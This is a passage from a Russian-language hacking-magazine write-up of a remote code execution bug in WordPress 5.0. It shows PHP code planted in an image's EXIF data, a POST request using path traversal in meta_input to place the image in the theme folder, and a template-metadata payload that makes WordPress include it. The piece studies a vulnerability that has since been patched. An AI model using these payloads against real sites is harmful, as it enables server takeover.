418: if ( $template && 0 === validate_file( $template ) )
419: $templates[] = $template;
420: if ( $pagename ) {
421: $pagename_decoded = urldecode( $pagename );
422: if ( $pagename_decoded !== $pagename ) {
423: $templates[] = "page-{$pagename_decoded}.php";
424: }
425: $templates[] = "page-{$pagename}.php";
426: }
427: if ( $id )
428: $templates[] = "page-{$id}.php";
429: $templates[] = 'page.php';
430:
431: return get_query_template( 'page', $templates );
PHP:
73: if ( $template = apply_filters( 'template_include', $template ) ) {
74: include( $template );
Итак, сначала нужно внедрить код на PHP в изображение, которое я буду загружать на сервер. Для этого существует огромное количество способов. Я просто добавлю строку <?php phpinfo();/* в проводнике Windows в свойствах картинки.
Добавляем код в EXIF картинки
Теперь загружаем этот файл на сервер, а затем эксплуатируем уязвимость и сохраняем кадрированный файл в директорию с текущей темой. По дефолту используется Twenty Nineteen, поэтому запрос на изменение метаданных будет выглядеть таким образом.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>
_wpnonce=<валидный_токен>&action=editpost&post_ID=11&meta_input[_wp_attached_file]=2019/02/Mia.jpg?/../../../../themes/twentynineteen/owned
Сохраняем картинку с кодом в директорию текущей активной темы
Вот тут нужно сказать несколько слов об используемой на сервере библиотеке. ImageMagick по дефолту не вырезает EXIF при манипуляции с изображениями, даже при кадрировании. Именно поэтому я ее и выбрал.
ImageMagick сохраняет добавленный в EXIF PHP-код даже после кадрирования
А вот GD сносит всю лишнюю, по его мнению, информацию, и файл получается девственно чистым. Так что это интересный челлендж — сгенерировать такой файл, который после всех манипуляций будет содержать нужный нам текст. Но если захочешь заморочиться, то наверняка что-нибудь придумаешь.
Итак, файл cropped-owned.jpg создан и находится в директории с текущей активной темой, а также содержит наш код. Теперь нужно подключить этот файл в качестве кастомного шаблона для отображения записи. Для этого начнем создание новой записи в блоге. Содержание может быть произвольным, главное — перехватить пакет на сохранение. Добавляем к нему параметр meta_input и указываем в качестве метаключа _wp_page_template значение cropped-owned.jpg.
Код:
meta_input[_wp_page_template]=cropped-owned.jpg
Указываем файл с кодом в качестве шаблона для поста при помощи манипуляции с метаданными
Это нужно сделать именно при создании поста, потому что потом нельзя будет отредактировать метаключ.
Теперь при переходе на страницу с этой записью инклудится наша картинка с кодом на PHP, и мы видим результат вывода phpinfo().
Успешная эксплуатация RCE в WordPress 5.0
Ура! Мы получили RCE.
Я набросал скриптик на JS, который автоматизирует эксплуатацию уязвимости. Найти его можно на моем GitHub. Запускается из любого места на сайте, главное — быть авторизованным и иметь нужные права. В переменной cmd можно указать код на PHP, который будет выполнен.
Демонстрация уязвимости (видео)
Выводы
Сегодня мы превратили безобидное изменение метаданных в грозное оружие, которое приводит к самым печальным последствиям для системы — выполнению исходного кода. Даже такие крупные CMS, как WordPress, не застрахованы от критических ошибок, стоит лишь посмотреть на логику работы приложения под нужным углом.
Так что скорее обновляйся на самую свежую версию WordPress. Используй встроенную возможность апгрейда на актуальный релиз через панель управления. На данный момент последняя версия — WordPress 5.1. Там эта уязвимость исправлена. Разработчики добавили проверку и фильтрацию опасных метаданных при создании и обновлении записей.
Коммит с патчем уязвимости
Возможно, этот решение лишь прикрывает возможность эксплуатирования описанной уязвимости, а не полностью запрещает его. И может быть, именно ты найдешь новый байпас!
автор: aLLy aka iamsecurity
хакер.ру